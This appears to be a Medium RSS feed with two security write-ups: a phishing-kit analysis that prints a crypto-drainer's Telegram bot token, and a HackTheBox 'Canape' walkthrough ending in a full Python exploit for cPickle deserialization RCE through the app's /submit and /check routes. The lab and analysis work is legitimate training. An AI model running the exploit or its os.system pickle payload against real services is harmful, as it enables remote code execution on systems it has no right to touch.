<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Stavros Gkounis on Medium]]></title>
        <description><![CDATA[Stories by Stavros Gkounis on Medium]]></description>
        <link>https://medium.com/@stavrosgounis?source=rss-fbe4f961402d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Stavros Gkounis on Medium</title>
            <link>https://medium.com/@stavrosgounis?source=rss-fbe4f961402d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 02:00:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@stavrosgounis/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Grab The Phisher (CyberDefenders)]]></title>
            <link>https://medium.com/@stavrosgounis/grab-the-phisher-cyberdefenders-88c8a0f5dd61?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/88c8a0f5dd61</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[crypto-wallet]]></category>
            <category><![CDATA[static-analysis]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[phishing]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Sat, 03 Feb 2024 09:22:06 GMT</pubDate>
            <atom:updated>2024-02-03T09:22:06.604Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><blockquote><em>An attacker compromised a server and impersonated </em>https://pancakeswap.finance<em>, a decentralized exchange native to BNB Chain, to host a phishing kit at </em>https://apankewk.soup.xyz/mainpage.php<em>. The attacker set it as an open directory with the file name “</em>pankewk.zip<em>”. Provided the phishing kit, you, as a SOC analyst, are requested to analyze it and do your threat intelligence homework</em></blockquote><h3>Unziping the phishing kit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*nkSU5pztTEOn8XyCSckrEQ.png" /><figcaption>Figure 1: Contents of pankewk.zip</figcaption></figure><h3>Inspecting &amp; Analyzing index.html File</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*n0vzFelrOZ7AVMFLOHwW2g.png" /><figcaption>Figure 2: index.html page</figcaption></figure><p>By opening the index.html file on a browser of our liking, a variety of options were presented to us regarding connecting to a crypto wallet of our choice. After analysis, the crypto wallet of interest is <em>Metamask</em>.</p><p>In particular, the onclick property is set to modal(this) function for every button other than <em>Metamask</em>. Whereas, for this particular crypto wallet the property is set to vid(1); jj2 = true; jj = true;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*osaYps-_06GtX5E2g3iDzQ.png" /><figcaption>Figure 3: onclick button property for all the other crypto wallets</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*gvO9XD3JOjvXPk_2rc5I2Q.png" /><figcaption>Figure 4: onclick button property for the Metamask crypto wallet</figcaption></figure><p>By loading the index.html to a code editor, <em>MS Code</em> in this case, and searching for the definition of the <em>vid</em> function, we determined that it prints the argument to the console and opens a window with <em>400x650</em> dimensions on path /metamask/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/1*aznk44clig08A76trtENBg.png" /><figcaption>Figure 5: Searching for vid references</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*ITB-u-KrdUxsnc4Q84vYkw.png" /><figcaption>Figure 6: Analysis of vid(d) function</figcaption></figure><p>After modifying the path from /metamask/ to ./metamask/, otherwise the new window will display that it can’t find the path, a window with a list of the files that reside inside the /metamask/ folder is presented.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yYPGoppGLuH7NM71HfYBGw.png" /><figcaption>Figure 7: Contents of Pop-Up Window</figcaption></figure><h3>Inspecting &amp; Analyzing /metamask/index.html File</h3><p>Then by clicking the /metamask/index.html, a page to enter the Metamask’s wallet seed is displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gBMm4g-1GyJAEB6j51cx-A.png" /><figcaption>Figure 8: Content of /metamask/index.html</figcaption></figure><p>Analyzing the source code of the /metamask/index.html file, it was found that the button <strong><em>Proceed</em></strong> is disabled by default and its class property equal to “button btn — first-time first-time-flow__button”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*KkdK8FL2JznYzFZ-JKVBAw.png" /><figcaption>Figure 9: Proceed button properties</figcaption></figure><p>Inspecting the rest of the code, a script where this class is referenced was identified. Analysis of the code yielded that the button is enabled after the user enters a wallet seed between 12 and 24 (including 12 and 24) words. In addition, when the user clicks on the <em>Proceed</em> button, the data (wallet seed) is sent via POST request to metamask.php for handling. Finally, the browser window, not the one that popped up, loads the legitimate website, https://pancakeswap.finance/, whereas the popped up window closes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*Ly8vPBK8a2wrpkndaaIF2Q.png" /><figcaption>Figure 10: Static analysis of the /metamask/index.html file</figcaption></figure><p>Let’s witness the final act by performing static analysis on the metamask.php script. In the beginning of the script file, it is obvious that it uses the sypexgeo api to retrieve information regarding the location of the user based on the user’s IP. Furthermore, from the comment message, it seems that the author of the phishing kit is j1j1b1s@m3r0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*FwGFPgpd7MsxyRmb0IGI3A.png" /><figcaption>Figure 11: Static analysis of the /metamask/metamask.php file (1/2)</figcaption></figure><p>Inspection of the sendTel($message) function yields that the collected wallet seeds in addition with user’s IP address and browser user-agent are sent remotely to a telegram channel. What is more, the wallet seed is written locally in /log/ folder into log.txt file too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*N3b4nr_GaNx030N8Uxp9Iw.png" /><figcaption>Figure 12: Static analysis of the /metamask/metamask.php file (2/2)</figcaption></figure><h3>Inspection of the /log/ Folder</h3><p>Inspecting the contents of the /log/log.txt file, it is obvious that three matamask wallet seeds has been <em>harvested</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZN4vSPEhJ75AtgQ0d3lrnw.png" /><figcaption>Figure 13: Contents of the /log/log.txt files</figcaption></figure><h3>Telegram Channel Information</h3><p>After requesting https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/sendMessage?chat_id=5442785564&amp;text=test with the aim of extracting more information about the telegram bot, the following JSON response was displayed including valuable information such as username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*GthP6etV-5m3aS9k6ztBkg.png" /><figcaption>Figure 14: JSON response</figcaption></figure><p>Be mindful of phishing campaigns and protect your assets!</p><p>Have a nice rest of your day ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88c8a0f5dd61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Canape HTB]]></title>
            <link>https://medium.com/@stavrosgounis/canape-htb-3abede913f2e?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3abede913f2e</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Sat, 09 Sep 2023 16:54:13 GMT</pubDate>
            <atom:updated>2023-10-05T05:20:15.281Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to my write up my fellow hacker, and allow me to let you in a secret…I peaked a little bit at the solution. Shhh!</p><h3>Reconnaissance</h3><p>As usual, my first action was to inspect either the host was up and running and to make a very primal OS identification, that is ping the host</p><pre>└─$ ping capane.htb -c4 | tee target-pinging<br>PING capane.htb (10.129.236.49) 56(84) bytes of data.<br>64 bytes from capane.htb (10.129.236.49): icmp_seq=1 ttl=63 time=72.1 ms<br>64 bytes from capane.htb (10.129.236.49): icmp_seq=2 ttl=63 time=71.2 ms<br>64 bytes from capane.htb (10.129.236.49): icmp_seq=3 ttl=63 time=71.3 ms<br>64 bytes from capane.htb (10.129.236.49): icmp_seq=4 ttl=63 time=69.7 ms<br><br>--- capane.htb ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3005ms<br>rtt min/avg/max/mdev = 69.673/71.066/72.073/0.870 ms</pre><h4>OS Discovery</h4><p>Usually the initial TTL value for GNU Linux is 64. Now the returned value of ping command depends on how many hops the packets made. 63 is close to 64, which indicates that the packet made one hope (gateway) and then reached my machine and in addition that our target is running most likely GNU Linux distribution</p><h4>Network Service Discovery</h4><pre>#Nmap 7.94 scan initiated Fri Sep  8 12:16:59 2023 as: nmap -Pn -sC -sV -p- -A -oA fullServiceScan capane.htb<br>Nmap scan report for capane.htb (10.129.236.49)<br>Host is up (0.072s latency).<br>Not shown: 65533 filtered tcp ports (no-response)<br>PORT      STATE SERVICE VERSION<br>80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))<br>| http-git: <br>|   10.129.236.49:80/.git/<br>|     Git repository found!<br>|     Repository description: Unnamed repository; edit this file &#39;description&#39; to name the...<br>|     Last commit message: final # Please enter the commit message for your changes. Li...<br>|     Remotes:<br>|_      http://git.canape.htb/simpsons.git<br>|_http-trane-info: Problem with XML parsing of /evox/about<br>|_http-title: Simpsons Fan Site<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)<br>|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)<br>|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>#Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done at Fri Sep  8 12:19:04 2023 -- 1 IP address (1 host up) scanned in 124.60 seconds</pre><p>At this point, we have the following information in our hands</p><ul><li>Our hypothesis was confirmed that the operating system of the host is GNU Linux, specifically Ubuntu</li><li>Two services are open on the target host, port 80 (HTTP) and 65535 (SSH) which allows to think that our attack plan is to compromise the webserver and the get a more stable foothold on the machine via SSH</li><li>Nmap found a git repository. <em>Talk is cheap. Show me the code (Linus Torvalds)</em></li></ul><h3>Web Server Enumeration</h3><p>Avoiding bombarding you with screenshot, navigating to <a href="http://canape.htb/">http://canape.htb/</a>, a Simpsons Fan Site was displayed, whereas the functionality that we have provided is to retrieve some quotes and one on our one. So practically, at this point the structure of the site is</p><pre>/ # Home Directory<br>|-- quotes # Where we can see the already submitted quotes<br>|-- submit # Where we can submit our quote</pre><p>In the meanwhile, the character names associates with the quotes could be considered a possible list of usernames. Whereas, playing around with the submission form, it is obvious that we have to submit a whitelisted character, such as homer, etc.</p><p>Moving on with our enumeration of the site, inspection of its source code revealed some value which is used for checking, possibly a hash, and a another URL path, /check. While navigating to the /check, a <em>M</em>ethod <em>N</em>ot <em>A</em>llowed is presented to us. Allow me to update the web server structure:</p><pre>/ # Home Directory<br>|-- quotes # Where we can see the already submitted quotes<br>|-- submit # Where we can submit our quote<br>|-- check # Some kind of check via POST or PUT</pre><p>Another interesting behaviour, which got me thinking for a couple of seconds, is that any request to a path that doesn’t exist returns a page with a random string</p><h4>.git Folder</h4><p>You remember that the nmap revealed that the .git folder and the remote repo, right? Let’s clone the repo locally</p><pre>git clone http://git.canape.htb/simpsons.git<br># Make sure that you have the proper entry in the /etc/hosts</pre><h3>GitHub Repository Inspection</h3><p>From all the files in the repo, the most important is __init__.py.</p><h4>Imported Libraries</h4><p>From the imported libraries, we can see that the web application was build using the <em>Flask Framework </em>and that there is a <em>couchDB</em> running in the background. cPickle is an interesting library because its use to serialize and deserialize objects</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*MAiI0gczurOss0257OAoug.png" /><figcaption>Figure 1: Imported Libaries</figcaption></figure><h4>Flask Configuration</h4><p>The next couple of lines include code responsible for the configuration of the flask application and setting up a couchDB instance in the background</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*Lz_TuZBMSOipmNv58ZT60w.png" /><figcaption>Figure 2: Flask Configuration &amp; Creating CouchDB instance</figcaption></figure><h4>Page Not Found (404) Error Handling</h4><p>The function page_not_found(e) is responsible for returning a random string in case that the user enters an invalid path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N5gdl6DVt8tAYMsHBELkdA.png" /><figcaption>Figure 3: 404 Error Handling</figcaption></figure><h4>Route Path</h4><p>It just returns the home page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*9EGq8kKvO7OuGl-9Jgkxig.png" /><figcaption>Figure 4: Home Page</figcaption></figure><h4>Quotes Path</h4><p>Upon navigation to the /quotes URL path, the server retrieves the records from the CouchDB, parses it properly and displays it to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*iohAXeHhp4952V0k-TLOlg.png" /><figcaption>Figure 5: Quote Retrieval From CouchDB</figcaption></figure><h4>Submit Path</h4><p>First, a global array is defined under the name WHITELIST containing all the characters that are allowed to submit a quote. Therefore, our hypothesis was confirmed once more. While /submit accepts two HTTP verbs, GET and POST.</p><p>Diving into the submit() function, the user input is saved into the variables char and quote, on which some logic is applied. Specifically, the page returns an error if the user tries to submit empty strings or a character that is not WHITELISTed. Should all the checks are passed, the concatenation of user’s input is used to compute an MD5 hash which will be the filename of the binary file into which the responses will be saved. Finally, informs the user whether the submission was successful or failed ( error=error, success=success ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*f2xd9SJSXSh7R7nDrR2HjQ.png" /><figcaption>Figure 6: sumbit() function</figcaption></figure><h4>Check Path</h4><p>The /check path accepts only POST requests and this is why we got a <em>Method Not Allowed</em> previously.</p><p>The body of the POST request contains the variable id which is the computed MD5 hash we saw in the submit() function.</p><p>The interesting thing is if the saved data don’t contain p1, it just assigns them to the variable item and displays them. And yet if they do contain p1 it means that the data are serialized with the cPickle module and <em>insecurely</em> deserialize them first before assigning them to the variable item.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*cxdfK0-JxuLgnznTchTy2A.png" /><figcaption>Figure 7: check() function</figcaption></figure><h3>cPickle Unsecure Deserialization</h3><p>First, let me note that the cPickle was a python library that provided a faster implementation of the pickle library. But nowadays cPickle is considered deprecated and pickle is implemented in C which offers similar performance. That being said, you will find yourself having difficulties importing it in python3 and for this reason we will use python2.7.</p><p>Aside our little introduction, pickle‘s documentation warns us that the module is not secure and we should only unpickle data that we trust.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*d1UZjkgPAeNhbLFu8HV4gw.png" /><figcaption>Figure 8: Security Warning</figcaption></figure><p>Now the question <em>how am I supposed to create a malicious serialized object which while deserializing will execute my malicious command</em> led me to invest a couple of hours reading the documentation line by line. Of course, I skipped the methods that are not interested. But do you know what caught my eye? object.__reduce__() method.</p><p>According to documentation this method takes no arguments and returns either a string or a tuple. In case that a tuple is returned, the returned data structure should have a specific format, (&lt;Callable Object&gt;, (&lt;Callable Object&#39;s ARGs&gt;,)), including an empty tuple in case that there are no arguments, that is (&lt;Callable Object&gt;, ()).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*h31hK_L3hk33SQRpsQroXQ.png" /><figcaption>Figure 9: __reduce__() documentation</figcaption></figure><p>Weaponizing this knowledge, we can write a malicious python class, serialize it and then deserialize it as a proof of concept.</p><pre>import subprocess<br>class WhoAmI(object):<br>    def __reduce__(self): # Remember no arguments<br>        return (subprocess.Popen, # Callable Object<br>                ((&#39;whoami&#39;,)) # The tuple of arguments for the callable object<br><br>tellMeWhoAmI = WhoAmI()<br>dump = cPickle.dumps(tellMeWhoAmI)<br>cPickle.loads(dump)<br><br>&quot;&quot;&quot;<br>At this stage you should have the result of the command &#39;whoami&#39;.<br>Press enter to terminate the `whoami` process<br>&quot;&quot;&quot;</pre><p>Now, it will make sense why the python script unpickles the contents of the binary file only if contains p1. Should you print the pickled object, you find yourself starring at the following output</p><pre>&gt;&gt;&gt; print(dump)<br>csubprocess<br>Popen<br>p1<br>(S&#39;whoami&#39;<br>p2<br>tp3<br>Rp4<br>.</pre><p>In case you want it displayed in one line</p><pre>&gt;&gt;&gt; print(repr(dump))<br>&quot;csubprocess\nPopen\np1\n(S&#39;whoami&#39;\np2\ntp3\nRp4\n.&quot;</pre><p>In order to make more sense of it, you can use pickletools module</p><pre>&gt;&gt;&gt; import pickletools<br>&gt;&gt;&gt; pickletools.dis(dump)<br>    0: c    GLOBAL     &#39;subprocess Popen&#39;<br>   18: p    PUT        1<br>   21: (    MARK<br>   22: S        STRING     &#39;whoami&#39;<br>   32: p        PUT        2<br>   35: t        TUPLE      (MARK at 21)<br>   36: p    PUT        3<br>   39: R    REDUCE<br>   40: p    PUT        4<br>   43: .    STOP<br>highest protocol among opcodes = 0</pre><p>The one little detail that we should keep in mind is that in the string whatever your malicious command is, the pickled data contain p1. Thus, the logic behind the if statement.</p><h3>Exploitation</h3><p>At this stage before we start sending requests to the server, we should make the exploitation work locally so we have an idea what to send to the server.</p><p>With that mindset, we will create a local script by modifying a little bit the submit() and check() functions</p><pre>import cPickle<br>from hashlib import md5<br><br>WHITELIST = [<br>    &quot;homer&quot;,<br>    &quot;marge&quot;,<br>    &quot;bart&quot;,<br>    &quot;lisa&quot;,<br>    &quot;maggie&quot;,<br>    &quot;moe&quot;,<br>    &quot;carl&quot;,<br>    &quot;krusty&quot;<br>]<br><br>def submit(character, quote):<br>    try:<br>        if not character or not quote:<br>            print &quot;[!] You are trying to submit an empty character or quote&quot;<br>            exit(-1)<br>        elif not any(c.lower() in character.lower() for c in WHITELIST):<br>            print &quot;[!] You are trying to submit a character that is not whitelisted!&quot;<br>            exit(-2)<br>        else:<br>            # TODO - Pickle into dictionary instead, `check` is ready<br>            whoareyou = cPickle.dumps(Shell())<br>            p_id = md5(character + quote).hexdigest()<br>            print &quot;[+] The MD5 hash is: &quot; + p_id<br>            outfile = open(&quot;/tmp/&quot; + p_id + &quot;.p&quot;, &quot;wb&quot;)<br>            outfile.write(character + quote)<br>            print &quot;[+] Data Written in The File&quot;<br>            outfile.close()<br>    except Exception as ex:<br>        print (&quot;[!] An exception was occurred!&quot;)<br>        exit(-3)<br><br>def check(id):<br>    path = &quot;/tmp/&quot; + id + &quot;.p&quot;<br>    data = open(path, &quot;rb&quot;).read()<br><br>    if &quot;p1&quot; in data:<br>        item = cPickle.loads(data)<br>    else:<br>        item = data<br><br>    return &quot;[+] Still reviewing: &quot; + item<br><br>if(__name__ == &quot;__main__&quot;):<br>    choice = int(raw_input(&quot;[*] Submit (1) or Check (2): &quot;))<br>    if choice == 1: #submit<br>        character = raw_input(&quot;\t[*] Enter your character name: &quot;)<br>        quote = raw_input(&quot;\t[*] Enter your quote: &quot;)<br>        submit(character, quote)<br>    elif choice == 2: #check<br>        id = raw_input(&quot;\t[*] Enter the File ID: &quot;)<br>        print(check(id))<br>    else:<br>        print &quot;You didn&#39;t entered a vald number&quot;<br>        exit(-6)</pre><p>Practically instead of taking the user input from the form, the input is provided by the user from the terminal after prompting. The first time that I execute the script, giving 1 as response to the first prompt, I am submitting the malicious payload. On my second run, I am submitting the MD5 hash to check if my payload was triggered.</p><p>I spent a good amount of hours trying to trigger it, as copy pasting it part of the serialized object and submitting part of it into character and quote variable, after prompting, yielded an cPickle.UnpicklingError: pickle data was truncated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pxOBVk37MbvIkM0ng9kIg.png" /><figcaption>Figure 10: Error After Manually Submitting The Serialized Payload</figcaption></figure><p>So after a lot of trial and error, which was literally a <em>trial and error</em>, I dropped the f-bomb and I changed my approach. <em>If it doesn’t work by manually submitting the payload, does it work if I pass it automatically?</em></p><p>Therefore, I made some changes to the code above</p><pre>import cPickle<br>from hashlib import md5<br><br>WHITELIST = [<br>    &quot;homer&quot;,<br>    &quot;marge&quot;,<br>    &quot;bart&quot;,<br>    &quot;lisa&quot;,<br>    &quot;maggie&quot;,<br>    &quot;moe&quot;,<br>    &quot;carl&quot;,<br>    &quot;krusty&quot;<br>]<br><br>class Shell(object):<br>    def __reduce__(self):<br>        import os<br>        return (os.system, (&quot;echo homer; whoami&quot;,))<br><br><br>def submit(character, quote):<br>    try:<br>        if not character or not quote:<br>            print &quot;[!] You are trying to submit an empty character or quote&quot;<br>            exit(-1)<br>        elif not any(c.lower() in character.lower() for c in WHITELIST):<br>            print &quot;[!] You are trying to submit a character that is not whitelisted!&quot;<br>            exit(-2)<br>        else:<br>            # TODO - Pickle into dictionary instead, `check` is ready<br>            whoareyou = cPickle.dumps(Shell())<br>            p_id = md5(whoareyou[:-1] + whoareyou[-1:]).hexdigest()<br>            print &quot;[+] The MD5 hash is: &quot; + p_id<br>            outfile = open(&quot;/tmp/&quot; + p_id + &quot;.p&quot;, &quot;wb&quot;)<br>            outfile.write(whoareyou[:-1] + whoareyou[-1:])<br>            print &quot;[+] Data Written in The File&quot;<br>            outfile.close()<br>    except Exception as ex:<br>        print (&quot;[!] An exception was occurred!&quot;)<br>        exit(-3)<br><br>def check(id):<br>    path = &quot;/tmp/&quot; + id + &quot;.p&quot;<br>    data = open(path, &quot;rb&quot;).read()<br><br>    if &quot;p1&quot; in data:<br>        item = cPickle.loads(data)<br>    else:<br>        item = data<br><br>    return &quot;[+] Still reviewing: &quot; + item<br><br>if(__name__ == &quot;__main__&quot;):<br>    choice = int(raw_input(&quot;[*] Submit (1) or Check (2): &quot;))<br>    if choice == 1: #submit<br>        character = raw_input(&quot;\t[*] Enter your character name: &quot;)<br>        quote = raw_input(&quot;\t[*] Enter your quote: &quot;)<br>        submit(character, quote)<br>    elif choice == 2: #check<br>        id = raw_input(&quot;\t[*] Enter the File ID: &quot;)<br>        print(check(id))<br>    else:<br>        print &quot;You didn&#39;t entered a vald number&quot;<br>        exit(-6)</pre><p>At this stage, first apologies for the messy code and putting you into thinking where in Lord’s Kingdom I am using the variables character and quote. I am not! :P</p><p>But the good new is that it works now! Full throttle, then, for the actual exploit</p><h4>Actual Exploit</h4><p>Let me call it ysoserious.py. By the way, there is a tool called ysoserial which is used to generate payloads to exploit unsafe Java Object Deserialization</p><p>First, let’s import all the proper libraries and global variables</p><pre>import os<br>import cPickle<br>import requests<br>from hashlib import md5<br><br>URL = &quot;http://&lt;target&gt;/&quot; # Global variable holding the target&#39;s URL</pre><p>Let’s create our malicious python class</p><pre>class RCE(object):<br>    def __init__(self, payload):<br>        self.payload = payload<br><br>    def __reduce__(self):<br>        &quot;&quot;&quot;<br>        We will include one the character names in WHITELIST in order to bypass<br>        the checking. Remember the character must be in the WHITELIST array<br>        &quot;&quot;&quot;<br>        return (os.system, (&quot;echo homer &amp;&amp; &quot;+self.payload,))</pre><ul><li>I changed the ; to &amp;&amp; with the mentality that I would like to know that if the second command is executed it means the first was successful</li></ul><p>Next, we should create an instance of our malicious python class and serialize it with cPickle module</p><pre>def askUserForMaliciousCommandAndSerializeRCEObject():<br>    &quot;&quot;&quot;<br>    Let&#39;s ask the user about the malicious command that he/she wants to execute on<br>    the target which will be used an argument to constrcut our RCE(cmd) object. Then,<br>    we will serialize the object with the help of the cPickle module and return the<br>    serialized object<br>    &quot;&quot;&quot;<br>    cmd = raw_input(&quot;[CMD] Malicious Command: &quot;)<br>    rceObject = RCE(cmd)<br><br>    return cPickle.dumps(rceObject)</pre><p>Having set the scene, we can now submit our payload to /submit</p><pre>def takeTheMaliciousSerializedObjectSubmitItToTheServerAndReturnItsFilename(serializedObject):<br>    &quot;&quot;&quot;<br>    We will create a dictionary which will contain the POST data that we will send<br>    to /submit with the aim of sending our malicious serialized object<br><br>    Do you remember that we included a WHITELISTed character name? We did it<br>    because the data in &#39;char&#39; POST Variable are checked by the server to inspect<br>    if it contains a WHITELISTed character name<br>    &quot;&quot;&quot;<br>    md5Hash = md5(serializedObject[:-1] + serializedObject[-1:]).hexdigest()<br>    target = URL + &quot;submit&quot;<br>    submitData = {&#39;char&#39;: serializedObject[:-1], # Take all character except the last one<br>                  &#39;quote&#39;: serializedObject[-1:] # Take the last character which was omitted previously<br>                 }<br><br>    try:<br>        submitRequest = requests.post(target, data=submitData, timeout=1)<br>        if submitRequest.status_code != 200:<br>            print &quot;[ERROR] There was an error submitting the form&quot;<br>            exit(-1)<br>        print &quot;[SUCESS] The payload was submitted successfully&quot;<br>        print &quot;[DATA] The filename should be: {}&quot;.format(md5Hash)<br>    except:<br>        print &quot;[EXCEPTION-{takeTheMalicious...Filename}] An exception was occurred!&quot;<br><br>    return md5Hash</pre><p>Alright, if all set and done, we should try to trigger our payload</p><pre>def takeTheFilenameAndTriggerThePayload(filename):<br>    &quot;&quot;&quot;<br>    At this stage, we will get the MD5 hash returned from the previous function and we<br>    will use it to trigger our payload, that is make the server insecurely deserialize<br>    our malicious serilized object by submiting the hash to /check<br>    &quot;&quot;&quot;<br>    checkData = {&#39;id&#39;: filename}<br>    target = URL + &quot;check&quot;<br>    try:<br>        triggerPayload = requests.post(target, data = checkData)<br>        if triggerPayload.status_code != 200:<br>            print &quot;[WARNING] It seem that the payload was not triggered! Manual inspection is required&quot;<br>    except:<br>        print &quot;[EXCEPTION-{TakeTheFilename...Payload}] An exception was occurred!&quot;</pre><p>Finally let’s combine all the above pieces together and add a couple of lines to make the script functional</p><pre>import sys<br>import os<br>import cPickle<br>import requests<br>from hashlib import md5<br><br>URL = &quot;http://&lt;target&gt;/&quot; # Global variable holding the target&#39;s URL<br><br>class RCE(object):<br>    def __init__(self, payload):<br>        self.payload = payload<br><br>    def __reduce__(self):<br>        &quot;&quot;&quot;<br>        We will include one the character names in WHITELIST in order to bypass<br>        the checking. Remember the character must be in the WHITELIST array<br>        &quot;&quot;&quot;<br>        return (os.system, (&quot;echo homer &amp;&amp; &quot;+self.payload,))<br><br>def askUserForMaliciousCommandAndSerializeRCEObject():<br>    &quot;&quot;&quot;<br>    Let&#39;s ask the user about the malicious command that he/she wants to execute on<br>    the target which will be used an argument to constrcut our RCE(cmd) object. Then,<br>    we will serialize the object with the help of the cPickle module and return the<br>    serialized object<br>    &quot;&quot;&quot;<br>    cmd = raw_input(&quot;[CMD] Malicious Command: &quot;)<br>    rceObject = RCE(cmd)<br><br>    return cPickle.dumps(rceObject)<br><br>def takeTheMaliciousSerializedObjectSubmitItToTheServerAndReturnItsFilename(serializedObject):<br>    &quot;&quot;&quot;<br>    We will create a dictionary which will contain the POST data that we will send<br>    to /submit with the aim of sending our malicious serialized object<br><br>    Do you remember that we included a WHITELISTed character name? We did it<br>    because the data in &#39;char&#39; POST Variable is checked by server to inspect<br>    if it contains a WHITELISTed character name<br>    &quot;&quot;&quot;<br>    md5Hash = md5(serializedObject[:-1] + serializedObject[-1:]).hexdigest()<br>    target = URL + &quot;submit&quot;<br>    submitData = {&#39;char&#39;: serializedObject[:-1],<br>                  &#39;quote&#39;: serializedObject[-1:]<br>                 }<br><br>    try:<br>        submitRequest = requests.post(target, data=submitData, timeout=1)<br>        if submitRequest.status_code != 200:<br>            print &quot;[ERROR] There was an error submitting the form&quot;<br>            exit(-1)<br>        print &quot;[SUCESS] The payload was submitted successfully&quot;<br>        print &quot;[DATA] The filename should be: {}&quot;.format(md5Hash)<br>    except:<br>        print &quot;[EXCEPTION-{takeTheMalicious...Filename}] An exception was occurred!&quot;<br><br>    return md5Hash<br><br>def takeTheFilenameAndTriggerThePayload(filename):<br>    &quot;&quot;&quot;<br>    At this stage, we will get the MD5 hash returned from the previous function and we<br>    will use it to trigger our payload, that is make the server insecurely deserialize<br>    our malicious serilized object by submiting the hash to /check<br>    &quot;&quot;&quot;<br>    checkData = {&#39;id&#39;: filename}<br>    target = URL + &quot;check&quot;<br>    try:<br>        triggerPayload = requests.post(target, data = checkData)<br>        if triggerPayload.status_code != 200:<br>            print &quot;[WARNING] It seem that the payload was not triggered! Manual inspection is required&quot;<br>    except:<br>        print &quot;[EXCEPTION-{TakeTheFilename...Payload}] An exception was occurred!&quot;<br><br><br>def exploit():<br>    maliciousSerialization = askUserForMaliciousCommandAndSerializeRCEObject()<br>    md5Hash = takeTheMaliciousSerializedObjectSubmitItToTheServerAndReturnItsFilename(maliciousSerialization)<br>    takeTheFilenameAndTriggerThePayload(md5Hash)<br><br>if __name__ == &quot;__main__&quot;:<br>    exploit()</pre><h4>Ping Command as PoC</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2QMosTRGt_jKXVD1s0kKg.png" /><figcaption>Figure 11: Ping as Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8mK9XPoX9zWoavymuF0vg.png" /><figcaption>Figure 12: Successful Execution of Payload</figcaption></figure><h4>Reverse Shell</h4><p>Can you recall that I told you in the beginning that I peaked at the solution? Here is why! Every reverse shell payload that I used failed but when I put the name of the article author as the filename of the named pipe it worked like a champ!</p><p>Do not ask why I didn’t invested more energy to find why :P<br>Nice article though by <a href="https://0xdf.gitlab.io/2018/09/15/htb-canape.html">0xdf</a>, where 